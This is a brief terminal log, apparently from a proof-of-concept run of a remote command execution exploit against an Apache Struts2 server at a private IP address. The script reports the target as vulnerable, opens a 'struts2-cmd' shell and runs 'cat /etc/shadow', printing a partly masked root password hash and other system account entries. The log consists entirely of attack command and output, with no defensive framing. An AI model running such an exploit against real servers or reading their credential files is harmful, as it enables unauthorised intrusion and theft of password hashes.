$ python2.7 test.py https://192.168.1.100/ "cat /etc/shadow"
[+] The target is vulnerable.
[*] struts2-cmd $ cat /etc/shadow
[*] root:$6$nK....9iIdLoX3VzX.U.:17221:0:99999:7:::
bin:*:15513:0:99999:7:::
daemon:*:15513:0:99999:7:::
adm:*:15513:0:99999:7:::
lp:*:15513:0:99999:7:::
....